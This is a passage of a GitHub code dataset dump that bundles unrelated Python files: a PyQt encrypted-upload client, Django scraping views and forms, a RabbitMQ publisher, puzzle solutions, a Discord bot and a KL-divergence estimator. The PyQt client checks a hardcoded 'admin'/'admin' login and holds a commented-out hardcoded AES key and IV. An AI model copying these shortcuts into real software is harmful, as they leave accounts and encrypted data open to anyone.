__init__(self):\n\t\tsuper().__init__()\n\t\tself.stack = Ui_CaptchaGame()\n\t\tself.stack.setupUi(self)\n\t\tself.screens = {'loginPage':0,\n\t\t\t\t\t\t'mainPage':1}\n\t\t\n\t\tself.stack.loginButton.clicked.connect(self.login)\n\t\tself.stack.uploadButton.clicked.connect(self.encrypt_and_upload)\n\t\tself.stack.selectFileButton.clicked.connect(self.selectFile)\n\t\tself.stack.tableWidget.itemClicked.connect(self.handle_item_clicked)\n\n\t\t# self.key = 'hello 123'\n\t\t# self.aesEncryptor = AES.new('This is a key123', AES.MODE_CBC, 'This is an IV456')\n\n\t\t# self.uploadFile()\n\n\tdef table_appender(self,widget, *args):\n\n\t def set_columns(len, pos):\n\t if pos == len-1:\n\t widget.setItem(widget.rowCount()-1, pos, QTableWidgetItem(args[pos]))\n\t else:\n\t widget.setItem(widget.rowCount()-1, pos, QTableWidgetItem(args[pos]))\n\t set_columns(len, pos+1)\n\t widget.insertRow(widget.rowCount())\n\t set_columns(widget.columnCount(), 0)\n\n\tdef handle_item_clicked(self,tableItem):\n\t\t# print(help(tableItem.row))\n\t\tfileName = tableItem.text().split('.enc')[0]\n\t\tprint(fileName)\n\t\tr = requests.get('http://localhost:5555/register/'+fileName)\n\t\tself.showMessage(r.text)\n\t\t\n\t\t# print(tableItem.column(1))\n\n\n\tdef encrypt_and_upload(self):\n\t\tfile = self.input_file_path\n\t\tprint(\"file is \",file)\n\t\tnum_blocks = aes.encrypt_file(file,chunksize=1024)\n\t\tm = hashlib.sha256()\n\t\t# # post_params = {'parameters': params}\n\t\twith open(file+'.enc','rb') as f:\n\t\t\tblock = f.read()\n\t\t\tprint(block)\n\t\t\tdigest = hashlib.sha256(block).hexdigest()\n\t\t\t# print('digest is {}'.format(digest))\n\t\t\tprint('digest is {}'.format(hashlib.sha256(block).hexdigest()))\n\n\n\t\tfiles = {'file': open(file+'.enc','rb')}\n\t\turl = \"http://localhost:5000/upload\"\n\t\tr = requests.post(url, data={'userId':1}, files=files)\n\n\t\tif (r.status_code == 200):\n\t\t\tr =requests.post(\"http://localhost:5555/audit\",data={'userId':1,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'numBlocks':num_blocks,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'fileName':os.path.basename(self.input_file_path),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'fileHash':digest})\n\t\t\tself.table_appender(self.stack.tableWidget,'1',os.path.basename(self.input_file_path),'True','True')\n\t\t\tself.showMessage(\"Success\")\n\n\t\t# file.?close() # close the BytesIO object\n\n\n\tdef match_category(self,row,col):\n\t\tif self.current_category == self.game.images[row][col].category:\n\t\t\tself.showMessage(\"correct\")\n\t\telse:\n\t\t\tself.showMessage(\"Wrong!!\")\n\tdef showMessage(self,msg):\n\t\tQMessageBox.information(self,\"Message\",msg)\n\t\t\n\tdef login(self):\n\t\tusername = self.stack.usernameBox.text()\n\t\tpassword = self.stack.passwordBox.text()\n\t\tif username == 'admin' and password=='admin':\n\t\t\tself.loadDataFromCloud()\n\t\t\tself.displayPage('mainPage')\n\t\telse:\n\t\t\tself.showMessage(\"Username/password invalid\")\n\n\tdef displayPage(self,page):\n\t\tself.setCurrentIndex(self.screens.get(page))\n\n\tdef loadDataFromCloud(self):\n\t\tr =requests.get(\"http://localhost:5555/getUploads\")\n\t\t# self.stack.tableWidget.horizontalHeaderItem().setTextAlignment(Qt.AlignHCenter)\n\n\t\tself.stack.tableWidget.setRowCount(len(r.json()['values']))\n\t\tself.stack.tableWidget.setColumnCount(4)\n\t\tself.stack.tableWidget.setHorizontalHeaderLabels(\"UserId;FileName;isValid;isResolved;\".split(\";\"))\n\n\t\tprint(r.json())\n\n\t\tfor inx,row in enumerate(r.json()['values']):\n\t\t\tself.stack.tableWidget.insertRow(inx)\n\t\t\tself.stack.tableWidget.setItem(inx, 0,QTableWidgetItem(str(row['userId'])))\n\t\t\tself.stack.tableWidget.setItem(inx, 1,QTableWidgetItem(str(row['fileName'])))\n\t\t\tself.stack.tableWidget.setItem(inx, 2,QTableWidgetItem(str(row['isValid'])))\n\t\t\tself.stack.tableWidget.setItem(inx, 3,QTableWidgetItem(str(row['resolved'])))\n\n\n\t\t\t# # print(row)\n\t\t\t# for i,k in enumerate(row):\n\t\t\t# \tprint(k)\n\t\t\t# \tself.stack.tableWidget.setItem(inx, i,QTableWidgetItem(str(row[k])))\n\n # # where c is the cursor\n # self.c.execute('''SELECT * FROM table ''')\n # rows = self.c.fetchall()\n\n\n\n\tdef uploadDataToCloud(self):\n\t\tusername = self.stack.usernameBox.text()\n\t\tpassword = self.stack.passwordBox.text()\n\n\tdef selectFile(self):\n\t\tself.input_file_path = QFileDialog.getOpenFileName(self, 'Select a file to upload', os.path.join(os.getcwd()))[0]\n\t\tself.stack.fileNameBox.setText(self.input_file_path)\n\t\t# self.encrypt(self.input_file_path)\n\n\nif __name__ == '__main__':\n\tapp = QApplication(sys.argv)\n\tmain = Main()\n\tmain.show()\n\tsys.exit(app.exec_())","repo_name":"Aishwarya-Bsavaraj-K/Capstone-Project","sub_path":"client/launcher.py","file_name":"launcher.py","file_ext":"py","file_size_in_byte":4579,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"44267464318","text":"# 백준 1021\r\n# 회전하는 큐\r\n\r\nimport collections\r\nimport sys\r\n\r\ndef rotation_Q(N):\r\n de = collections.deque(list(range(1, N + 1))) # deque 타입의 list 선언\r\n num_l = list(map(int, sys.stdin.readline().split())) # 사용자가 입력한 수를 list에 저장\r\n count = 0\r\n for _ in range(10000):\r\n # 첫 번째 원소가 서로 같을 때 : 뽑아내기\r\n if de[0] == num_l[0]:\r\n de.popleft()\r\n num_l.pop(0)\r\n if len(num_l) != 0:\r\n pass\r\n else: # 만약 원소가 없다면 종료\r\n break\r\n # 첫 번째 원소가 서로 다를 때 : rotate\r\n elif de[0] != num_l[0]:\r\n de_i = de.index(num_l[0]) # num_l의 첫번째 원소가 de에 몇 번 인덱스에 있는지 확인\r\n if len(de) / 2 > de_i: # 어느 방향으로 rotate 할 것인지 판단\r\n de.rotate(-1) # 왼쪽으로 rotate\r\n count += 1\r\n else:\r\n de.rotate(1) # 오른쪽으로 rotate\r\n count += 1\r\n print(count) # count 결과 출력\r\n\r\n\r\nN, M = map(int, input().split())\r\nrotation_Q(N)","repo_name":"dupe-in/BaekJoon","sub_path":"2022_08/1021.py","file_name":"1021.py","file_ext":"py","file_size_in_byte":1253,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"35694848657","text":"from django.shortcuts import redirect, render\nfrom django.http import Http404, HttpResponse, HttpResponseNotFound, HttpResponseRedirect\nimport requests\nfrom bs4 import BeautifulSoup\nimport datetime\n\nfrom start.models import School, Depart, Memo, Go\n\nheaders = {\"User-Agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKschool/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62\"}\n\n# 새로운 메모를 생성\ndef create(request):\n try:\n if(request.method == \"POST\"):\n post = Memo()\n post.content = request.POST['content']\n post.save()\n except:\n first_memo = Memo.objects.get_or_create(content=\"내용을 입력하세요.\")\n first_memo.save()\n print(first_memo)\n\n return redirect('start:index')\n\ndef addpage(request):\n return render(request,'start/add.html')\n\ndef add(request):\n if(request.method == \"POST\"):\n go_post = Go()\n go_post.name = request.POST['name']\n go_post.link = request.POST['link']\n go_post.save()\n\n return redirect('start:index')\n\ndef index(request):\n \n time = get_time()\n weather = get_weather()\n get_school_bullet()\n school = School.objects.all()\n get_depart_bullet()\n depart = Depart.objects.all()\n try:\n Memo_obj = Memo.objects.last()\n content = Memo_obj.content\n except:\n content = \"내용을 입력하세요.\"\n go = Go.objects.all()\n\n return render(request, 'start/index.html', {\n 'times':time, 'weathers':weather, 'schools':school,\n 'departs':depart, 'memos':content, 'gos':go})\n\n\ndef create_soup(url):\n res = requests.get(url, headers=headers)\n res.raise_for_status()\n soup = BeautifulSoup(res.text, \"lxml\")\n return soup\n\n\ndef get_time():\n date = datetime.datetime.now()\n\n time = {\n 'time': date\n }\n\n return time\n\ndef get_weather():\n weather_url = \"https://search.naver.com/search.naver?where=nexearch&sm=top_hty&fbm=0&ie=utf8&query=%EC%97%B0%EC%88%98%EB%8F%99+%EB%82%A0%EC%94%A8\"\n weather_soup = create_soup(weather_url)\n weather = weather_soup.find(\"p\", attrs={\"class\":\"summary\"}).get_text()\n cur_temp = weather_soup.find(\"div\",attrs={\"class\":\"temperature_text\"}).get_text().replace(\" 현재 온도\",\"\")\n lowest = weather_soup.find(\"span\",attrs={\"class\":\"lowest\"}).get_text().replace(\"최저기온\",\"\")\n highest = weather_soup.find(\"span\",attrs={\"class\":\"highest\"}).get_text().replace(\"최고기온\",\"\")\n rainfall = weather_soup.find(\"div\",attrs={\"class\":\"day_data\"}).find_all(\"span\",attrs={\"class\":\"rainfall\"})\n rain_am = rainfall[0].get_text()\n rain_pm = rainfall[1].get_text()\n\n weather = {'cur_temp':cur_temp, \n 'lowest':lowest, \n 'highest':highest, \n 'weather':weather, \n 'rain_am':rain_am, \n 'rain_pm':rain_pm, \n }\n\n return weather\n\n\n# using db\ndef get_school_bullet():\n url = \"https://home.sch.ac.kr/sch/06/010100.jsp\"\n school_url = create_soup(url)\n schools = school_url.find_all(\"td\",attrs={\"class\":\"subject\"},limit=10)\n record = School.objects.all()\n record.delete()\n\n school_title = {}\n for index, school in enumerate(schools):\n title = school.find(\"a\").get_text().strip()\n link = school.find(\"a\")[\"href\"]\n # school_title[index+1] = [title, link]\n School.objects.get_or_create(index=index, title=title, link=link)\n\n # schools = School.objects.all()\n # school_title = {'schools':schools}\n\n return school_title\n\n\n# none db ver\n# def get_school_bullet():\n# url = \"https://home.sch.ac.kr/sch/06/010100.jsp\"\n# school_url = create_soup(url)\n# schools = school_url.find_all(\"td\",attrs={\"class\":\"subject\"})\n\n# school_title = {}\n# for index, school in enumerate(schools):\n# title = school.find(\"a\").get_text().strip()\n# link = school.find(\"a\")[\"href\"]\n# school_title[index+1] = [title, link]\n\n# return school_title\n\n\ndef get_depart_bullet():\n url = \"https://home.sch.ac.kr/iot/03/0101.jsp\"\n depart_url = create_soup(url)\n departs = depart_url.find_all(\"td\",attrs={\"class\":\"subject\"}, limit=10)\n record = Depart.objects.all()\n record.delete()\n\n depart_title = {}\n for index, depart in enumerate(departs):\n title = depart.find(\"a\").get_text().strip()\n link = depart.find(\"a\")[\"href\"]\n Depart.objects.get_or_create(index=index, title=title, link=link)\n\n return depart_title\n\n# 페이지 로드 불가..\n# def get_mail():\n# url = \"https://mail.naver.com/\"\n# mail_url = create_soup(url)\n# # mails = mail_url.find(\"strong\", attrs={\"class\":\"num MY_MAIL_COUNT\"})\n# mails = mail_url.find(\"span\", attrs={\"id\":\"unreadMailCount\"})\n# print(\"###############\")\n# print(mails)\n\n\n\n\n# def get_calender():\n# url = \"https://home.sch.ac.kr/sch/05/010000.jsp\"\n# calender_url = create_soup(url)\n\n# month = datetime.datetime.now().month\n# cur_month = \"section month_\"+str(month)+\" active\"\n \n# cals = calender_url.find(\"div\",attrs={\"class\":cur_month})\n# print(cals)\n\n\n\n# def get_quiz():\n# url = \"https://cafe.naver.com/soojebi/99590\"\n# quiz_url = create_soup(url)\n# quizz = quiz_url.find(\"a\", attrs={\"div\":\"inner_list\"}).find(\"a\",attrs={\"class\":\"article\"})\n# print(\"-------------------------------\")\n# print(quizz)\n# print(\"-------------------------------\")","repo_name":"Seung-a-oh/my_start_page","sub_path":"start/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5448,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"50"} +{"seq_id":"20397456114","text":"import os\nimport pika\nimport json\nimport logging\n\nlogging.basicConfig(filename=f\"mqpublisher_{os.environ['SERVER_NAME']}_log_file\",\n filemode='a',\n format='%(asctime)s,%(msecs)d %(name)s %(levelname)s %(message)s',\n datefmt='%H:%M:%S',\n level=logging.DEBUG)\n\nclass MqPublisher():\n\n def __init__(self, *args, **kwargs):\n try:\n self.ampq_url = kwargs['AMQP_URL']\n self.routing_key = kwargs['ROUTING_KEY']\n except KeyError as ke:\n logging.exception(f'Exception in MqItemComsumer Initialization:\\n {ke}')\n\n mq_connection = None\n mq_channel = None\n \n\n def connect_to_rabbit(self):\n try:\n self.mq_connection = pika.BlockingConnection(pika.ConnectionParameters(host=self.ampq_url))\n\n except pika.exceptions.AMQPConnectionError as error:\n logging.exception(f'Error in AMQP connection: {error}')\n\n if self.mq_connection.is_open:\n self.mq_channel = self.mq_connection.channel()\n self.mq_channel.queue_declare(queue=self.routing_key, durable=True)\n\n\n def send_message_to_queue(self, message):\n try:\n self.mq_channel.basic_publish(exchange='',\n routing_key=self.routing_key,\n body=json.dumps(message),)\n \n except pika.exceptions.ChannelError as error:\n logging.exception(f'error with channel on message send: {error}')\n\n def close(self):\n self.mq_connection.close()\n","repo_name":"WolfusFlow/Virtual_data_generator","sub_path":"generator/MqPublisher.py","file_name":"MqPublisher.py","file_ext":"py","file_size_in_byte":1630,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"11261234260","text":"import sys\nfrom collections import defaultdict\n\n\ndef better(x, y):\n return len(sousedi[x]) > len(sousedi[y]) if len(sousedi[x]) != len(sousedi[y]) else x < y\n\n\ndef dedup(seq):\n seen = set()\n seen_add = seen.add\n return [x for x in seq if not (x in seen or seen_add(x))]\n\n\nsousedi = defaultdict(lambda: set())\n\nfor line in sys.stdin:\n linka, zastavky = line.split(\": \")\n zastavky = zastavky.split(\" - \")\n if linka == \"1\":\n linka1 = zastavky\n for i in range(len(zastavky) - 2):\n sousedi[zastavky[i]].add(zastavky[i+1])\n sousedi[zastavky[i+1]].add(zastavky[i])\n\nmaster = defaultdict(lambda: False)\n\nfor zastavka in sousedi.keys():\n if len(sousedi[zastavka]) >= 4:\n master[zastavka] = True\n\nkanonickeJmeno = dict()\nfor zastavka in sousedi.keys():\n kanonickeJmeno[zastavka] = zastavka\n\nfor zastavka in sousedi.keys():\n if master[zastavka]:\n best = kanonickeJmeno[zastavka]\n for soused in sousedi[zastavka]:\n if better(kanonickeJmeno[soused], best):\n best = kanonickeJmeno[soused]\n for soused in sousedi[zastavka]:\n jmeno_obeti = kanonickeJmeno[soused]\n for obet in sousedi.keys():\n if kanonickeJmeno[obet] == jmeno_obeti:\n kanonickeJmeno[obet] = best\n\nprint(\" - \".join(dedup([kanonickeJmeno[z.strip()] for z in linka1])))\n","repo_name":"zverinec/interlos-web","sub_path":"public/download/years/2016/reseni/P6s-solution.py","file_name":"P6s-solution.py","file_ext":"py","file_size_in_byte":1381,"program_lang":"python","lang":"cs","doc_type":"code","stars":1,"dataset":"github-code","pt":"50"} +{"seq_id":"4295057009","text":"import re\r\n\r\ndef answer(question):\r\n question_list = re.split(\"[ ?]\", question)\r\n operation = []\r\n total = None\r\n\r\n if 'cubed' in question_list or 'Who' in question_list:\r\n raise ValueError(\"unknown operation\")\r\n\r\n if not re.search('\\w+ \\w+ -?\\d+\\?', question) and not re.search('\\w+ \\w+ -?\\d+ \\w+ -?\\d+.*\\?', question) or re.search('\\w+ \\w+ -?\\d+ -?\\d+ \\w+ -?\\d+.*\\?', question) or re.search('\\w+ \\w+ -?\\d+ \\w+ -?\\d+ -?\\d+.*\\?', question):\r\n raise ValueError(\"syntax error\")\r\n \r\n if 'plus' not in question_list and 'minus' not in question_list and 'multiplied' not in question_list and 'divided' not in question_list and not re.search('What is \\d+?', question):\r\n raise ValueError(\"unknown operation\")\r\n\r\n \r\n \r\n for i in question_list:\r\n if re.search(\"-\\d+\", i):\r\n operation.append(int(i))\r\n if i.isnumeric():\r\n operation.append(int(i))\r\n if i == 'plus':\r\n operation.append(i)\r\n if i == 'minus':\r\n operation.append(i)\r\n if i == 'multiplied':\r\n operation.append(i)\r\n if i == 'divided':\r\n operation.append(i)\r\n\r\n \r\n total = operation[0]\r\n\r\n for index, value in enumerate(operation):\r\n if value == 'plus':\r\n total = plus(total, operation[index + 1])\r\n if value == 'minus':\r\n total = minus(total, operation[index + 1])\r\n if value == 'multiplied':\r\n total = multiplied(total, operation[index + 1])\r\n if value == 'divided':\r\n total = divided(total, operation[index + 1])\r\n\r\n return total\r\n\r\n\r\ndef plus(a, b):\r\n try:\r\n return a + b\r\n except TypeError:\r\n raise ValueError(\"syntax error\")\r\n\r\n\r\ndef minus(a, b):\r\n try:\r\n return a - b\r\n except TypeError:\r\n raise ValueError(\"syntax error\")\r\n\r\n\r\ndef multiplied(a, b):\r\n try:\r\n return a * b\r\n except TypeError:\r\n raise ValueError(\"syntax error\")\r\n\r\n\r\ndef divided(a, b):\r\n try:\r\n return a / b\r\n except TypeError:\r\n raise ValueError(\"syntax error\")\r\n\r\n\r\nif __name__ == \"__main__\":\r\n print(answer(\"What is 3 plus 2 multiplied by 3?\"))\r\n print(answer(\"What is 3 plus 2 multiplied by 3 divided by 5?\"))\r\n print(answer(\"What is 2 multiplied by 3?\"))\r\n\r\n \r\n ","repo_name":"josei150/python-exercises","sub_path":"wordy.py","file_name":"wordy.py","file_ext":"py","file_size_in_byte":2327,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"41569900115","text":"from logging import Logger, getLogger\nfrom os import getenv, listdir\n\nfrom aiohttp import ClientSession\nfrom corkus import Corkus\nfrom discord import Intents, Message, TextChannel\nfrom discord.ext.commands import Bot, when_mentioned_or\nfrom discord.ext.commands.errors import ExtensionFailed\n\nfrom pianobot.db.db_manager import DBManager\nfrom pianobot.tasks import TaskRunner\nfrom pianobot.utils import get_prefix\n\n\nclass Pianobot(Bot):\n corkus: Corkus\n database: DBManager\n enable_tracking: bool\n logger: Logger\n session: ClientSession\n member_update_channel: TextChannel | None\n xp_tracking_channel: TextChannel | None\n\n def __init__(self) -> None:\n intents = Intents.default()\n intents.members = True\n intents.message_content = True\n\n async def _get_prefixes(bot: Bot, message: Message) -> list[str]:\n prefix = await get_prefix(self.database.servers, message.guild)\n return when_mentioned_or(prefix)(bot, message)\n\n super().__init__(\n case_insensitive=True,\n command_prefix=_get_prefixes,\n help_command=None,\n intents=intents,\n )\n\n self.logger = getLogger('bot')\n self.enable_tracking = False\n self.database = DBManager()\n\n with open('tracked_guilds.txt', 'r', encoding='UTF-8') as file:\n self.tracked_guilds: dict[str, str] = {\n name: tag for line in file for (name, tag) in [line.strip().split(':')]\n }\n\n async def setup_hook(self) -> None:\n self.corkus = Corkus()\n await self.corkus.start()\n await self.database.connect()\n await self.database.guild_activity.update_columns(list(self.tracked_guilds.keys()))\n await self.database.guild_activity.cleanup()\n await self.database.guild_xp.cleanup()\n self.session = ClientSession()\n\n for folder in ['commands', 'events']:\n for extension in [f[:-3] for f in listdir(f'pianobot/{folder}') if f.endswith('.py')]:\n try:\n await self.load_extension(f'pianobot.{folder}.{extension}')\n except ExtensionFailed as exc:\n self.logger.warning('Skipped %s.%s: %s', folder, extension, exc.__cause__)\n\n async def on_ready(self) -> None:\n self.member_update_channel = None\n member_update_channel = self.get_channel(int(getenv('MEMBER_CHANNEL', 0)))\n if isinstance(member_update_channel, TextChannel):\n self.member_update_channel = member_update_channel\n elif getenv('MEMBER_CHANNEL') is not None:\n self.logger.warning('Member update channel %s not found', getenv('MEMBER_CHANNEL'))\n\n self.xp_tracking_channel = None\n xp_tracking_channel = self.get_channel(int(getenv('XP_CHANNEL', 0)))\n if isinstance(xp_tracking_channel, TextChannel):\n self.xp_tracking_channel = xp_tracking_channel\n elif getenv('XP_CHANNEL') is not None:\n self.logger.warning('XP tracking channel %s not found', getenv('XP_CHANNEL'))\n\n self.logger.info('Booted up')\n\n await TaskRunner(self).start_tasks()\n\n async def close(self) -> None:\n if self.corkus is not None:\n await self.corkus.close()\n await self.database.disconnect()\n if self.session is not None:\n await self.session.close()\n self.logger.info('Exited')\n await super().close()\n","repo_name":"Pianoplayer1/pianobot","sub_path":"pianobot/bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":3450,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"4447658020","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Jul 25 11:24:35 2018\r\n\r\n@author: user\r\n\"\"\"\r\n\r\nx = input(\"Enter the path of the file\\n\")\r\n'''\r\nwith open(x) as f:\r\n print(sum(1 for line in f if line.strip()))\r\n '''\r\nf=open(x,\"r\")\r\ncon=f.read()\r\nprint(con.count('\\n'))\r\nf.close()\r\n","repo_name":"raj-ankit744/Python-assignments","sub_path":"ex5/8.py","file_name":"8.py","file_ext":"py","file_size_in_byte":281,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"30319636857","text":"import torch\nimport argparse\nimport numpy as np\n\nfrom KDE import find_optimal_bandwidth\nfrom ratio import KernelRatioNaive, KernelRatioAlpha, KernelRatioGaussian\nfrom model.energy import Score_network, Weight_network, Energy\nfrom loss.bias import Laplacian\nfrom loss.sliced_score_matching import sliced_VR_score_matching\n\nfrom scipy.spatial.distance import pdist\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--device', type=str, default='cuda')\nparser.add_argument('--model', type=str, default='KDE')\nparser.add_argument('--dim', type=int, default=20)\nparser.add_argument('--score_epoch', type=int, default=500)\nparser.add_argument('--weight_epoch', type=int, default=200)\nparser.add_argument('--batch_size', type=int, default=1024)\nparser.add_argument('--num_data', type=int, default=1024)\nargs = parser.parse_args()\n\nif args.device == 'cuda':\n gpu=True\nelse:\n gpu=False\n\n\nmean1 = np.concatenate([np.array([0]), np.zeros((args.dim-1,))])\nCov1 = np.eye(args.dim)*np.concatenate([np.array([1.]), np.ones((args.dim-1,))])\nmean2 = np.concatenate([np.sqrt([2]), np.zeros((args.dim-1,))])\nCov2 = np.eye(args.dim)*np.concatenate([np.array([1.]), np.ones((args.dim-1,))])\n\nL = torch.linalg.cholesky(torch.tensor(Cov1.astype(np.float32)))\ndata1 = torch.randn(args.num_data, args.dim) @ L.T + mean1.astype(np.float32)\nL = torch.linalg.cholesky(torch.tensor(Cov2.astype(np.float32)))\ndata2 = torch.randn(args.num_data, args.dim) @ L.T + mean2.astype(np.float32)\n\nTKL = (np.trace(np.linalg.inv(Cov2) @ Cov1) + (mean2-mean1).T @ np.linalg.inv(Cov2) @ (mean2-mean1) - args.dim + np.log(np.linalg.det(Cov2)/np.linalg.det(Cov1)))/2\n\nprint(f\"True KL divergence: {TKL}\")\n\ndata1_set = torch.utils.data.TensorDataset(data1)\ndata2_set = torch.utils.data.TensorDataset(data2)\ntotal_set = torch.utils.data.TensorDataset(torch.cat([data1, data2]))\ndata1_loader = torch.utils.data.DataLoader(data1_set, batch_size=args.batch_size, shuffle=True)\ndata2_loader = torch.utils.data.DataLoader(data2_set, batch_size=args.batch_size, shuffle=True)\ntotal_loader = torch.utils.data.DataLoader(total_set, batch_size=args.batch_size, shuffle=True)\n\nl_h = np.linspace(0.2, 1., 20)\n\nif args.model == \"KDE\":\n opt_h1 = find_optimal_bandwidth(data1, l_h, lik=False, gpu=gpu)\n opt_h2 = find_optimal_bandwidth(data2, l_h, lik=False, gpu=gpu)\n opt_h = (opt_h1 + opt_h2) / 2\n model = KernelRatioNaive(h=opt_h, gpu=gpu)\n model.eps = 1e-100\n model.fit(data1, data2)\n print(f\"KL divergence calculated by KDE: {model.kl()}\")\n\nelif args.model == \"based\":\n opt_h1 = find_optimal_bandwidth(data1[:int(len(data1)/4)], l_h, gpu=gpu)\n opt_h2 = find_optimal_bandwidth(data2[:int(len(data2)/4)], l_h, gpu=gpu)\n opt_h = (opt_h1 + opt_h2) / 2\n med_dist1 = np.median(pdist(data1))\n med_dist2 = np.median(pdist(data2))\n med_dist = (med_dist1 + med_dist2) / 2\n model = KernelRatioGaussian(grid_sample=3000, solver='para', para_h=med_dist, para_l=0.1, h=opt_h, gpu=gpu, kmeans=False, einsum_batch=100, reg=0.1, stabilize=True, online=True)\n model.eps = 1e-100\n model.fit(data1, data2)\n print(f\"KL divergence calculated by VWKDE model based: {model.kl()}\")\n \nelif args.model == \"free\":\n score_model_p1 = Energy(net=Score_network(input_dim=args.dim, units=[300,300], dropout=True)).to(args.device)\n score_model_p2 = Energy(net=Score_network(input_dim=args.dim, units=[300,300], dropout=True)).to(args.device)\n optimizer_sp1 = torch.optim.Adam(score_model_p1.parameters(), lr=1e-4)\n optimizer_sp2 = torch.optim.Adam(score_model_p2.parameters(), lr=1e-4)\n\n print(\"Train score models for p1 and p2\")\n\n for epoch in range(args.score_epoch):\n loss1 = 0\n loss2 = 0\n\n for x in data1_loader:\n x = x[0].to(args.device)\n loss = sliced_VR_score_matching(score_model_p1, x)\n optimizer_sp1.zero_grad()\n loss.backward()\n optimizer_sp1.step()\n loss1 += loss.item() / len(data1_loader)\n\n for x in data2_loader:\n x = x[0].to(args.device)\n loss = sliced_VR_score_matching(score_model_p2, x)\n optimizer_sp2.zero_grad()\n loss.backward()\n optimizer_sp2.step()\n loss2 += loss.item() / len(data2_loader)\n\n if epoch % 100 == 99:\n print(f\"Epoch: {epoch+1} | Loss1: {loss1}\")\n print(f\"Epoch: {epoch+1} | Loss2: {loss2}\")\n\n score_model_p1.eval()\n score_model_p2.eval()\n\n p1_laplacian = Laplacian(score_model_p1)\n p2_laplacian = Laplacian(score_model_p2)\n\n weight_model = Energy(net=Weight_network(input_dim=args.dim, units=[128,128,128,64], dropout=False)).to(args.device)\n optimizer_w = torch.optim.Adam(weight_model.parameters(), lr=1e-3)\n\n print(\"Train a weight model\")\n\n for epoch in range(args.weight_epoch):\n total_loss = 0\n for x in total_loader:\n x = x[0].to(args.device).requires_grad_()\n output = weight_model(x)\n output_gradient = torch.autograd.grad(\n outputs=output, inputs=x,\n grad_outputs=torch.ones_like(output),\n create_graph=True, only_inputs=True\n )[0]\n log_p1 = score_model_p1.minus_forward(x)\n grad_logp1 = torch.autograd.grad(\n outputs=log_p1.view(-1, 1), inputs=x,\n grad_outputs=torch.ones_like(output),\n create_graph=True, only_inputs=True\n )[0]\n log_p2 = score_model_p2.minus_forward(x)\n grad_logp2 = torch.autograd.grad(\n outputs=log_p2.view(-1, 1), inputs=x,\n grad_outputs=torch.ones_like(output),\n create_graph=True, only_inputs=True\n )[0]\n lp_p1 = p1_laplacian.get_laplacian(x) - (grad_logp1**2).sum(1)\n lp_p2 = p2_laplacian.get_laplacian(x) - (grad_logp2**2).sum(1)\n loss = ((((output_gradient)*(-grad_logp1+grad_logp2)).sum(1) + 0.5*(lp_p1-lp_p2))**2).mean()\n optimizer_w.zero_grad()\n loss.backward()\n optimizer_w.step()\n total_loss += loss.item() / len(total_loader)\n \n if epoch % 100 == 99:\n print(f\"Epoch: {epoch+1} | Loss: {total_loss}\")\n\n weight_model.eval()\n opt_h1 = find_optimal_bandwidth(data1[:int(len(data1)/4)], l_h, gpu=gpu)\n opt_h2 = find_optimal_bandwidth(data2[:int(len(data2)/4)], l_h, gpu=gpu)\n opt_h = (opt_h1 + opt_h2) / 2\n logWeights1 = weight_model(data1.to(args.device)).detach().cpu().numpy()\n logWeights2 = weight_model(data2.to(args.device)).detach().cpu().numpy()\n kl_model = KernelRatioAlpha(opt_h, gpu=gpu)\n kl_model.fit(data1, data2, np.exp(logWeights1), np.exp(logWeights2))\n print(f\"KL divergence calculated by VWKDE model free: {kl_model.kl()}\")\n","repo_name":"swyoon/variationally-weighted-kernel-density-estimation","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":6807,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"50"} +{"seq_id":"42410417544","text":"from info.models import Info\nfrom django import forms\nfrom django.forms import ModelForm\nfrom django.forms.extras.widgets import SelectDateWidget\nfrom django.forms.widgets import EmailInput\nfrom django.contrib.auth.models import User\nfrom django.contrib.auth.forms import UserCreationForm\nfrom django.contrib.auth.tokens import default_token_generator\nfrom django.utils.translation import ugettext_lazy as _\nfrom django.contrib.auth.forms import PasswordResetForm\n\n\nclass InfoForm(ModelForm):\n class Meta:\n BIRTH_YEAR_CHOICES = range(1960, 2005)\n model = Info\n exclude = ('user',)\n error_messages = {\n 'first_name': {\n 'max_length': _(\"This first name is too long.\"),\n 'required': _(\"Please enter your first name\")\n },\n 'last_name': {\n 'max_length': _(\"This last name is too long.\"),\n 'required': _(\"Please enter your last name\")\n },\n 'birthdate': {\n 'required': _(\"Please enter your birthdate\"),\n 'invalid': _(\"Plese enter correct birthdate\")\n },\n 'bio': {\n 'max_length': _(\"This last name is too long.\"),\n 'required': _(\"Please enter your bio\")\n }\n }\n\n\nclass MyUserCreationForm(UserCreationForm):\n username = forms.RegexField(\n label=_(\"Username\"), max_length=30,\n regex=r'^[\\w.@+-]+$',\n help_text=_(\"Required. 30 characters or fewer. Letters, digits and \"\n \"@/./+/-/_ only.\"),\n error_messages={\n 'required': _('Please enter username'),\n 'invalid': _(\"This value may contain only english letters, numbers\"\n \" and @/./+/-/_ characters.\")})\n\n class Meta:\n model = User\n fields = (\"username\", 'email')\n\n def clean_email(self):\n email = self.cleaned_data.get('email')\n username = self.cleaned_data.get('username')\n if email and User.objects.filter(email=email).exclude(username=username).count():\n raise forms.ValidationError(_('User with that email are register.'))\n return email\n\n\nclass MyPasswordResetForm(PasswordResetForm):\n\n def clean_email(self):\n email = self.cleaned_data[\"email\"]\n if User.objects.filter(email=email).count() == 0:\n raise 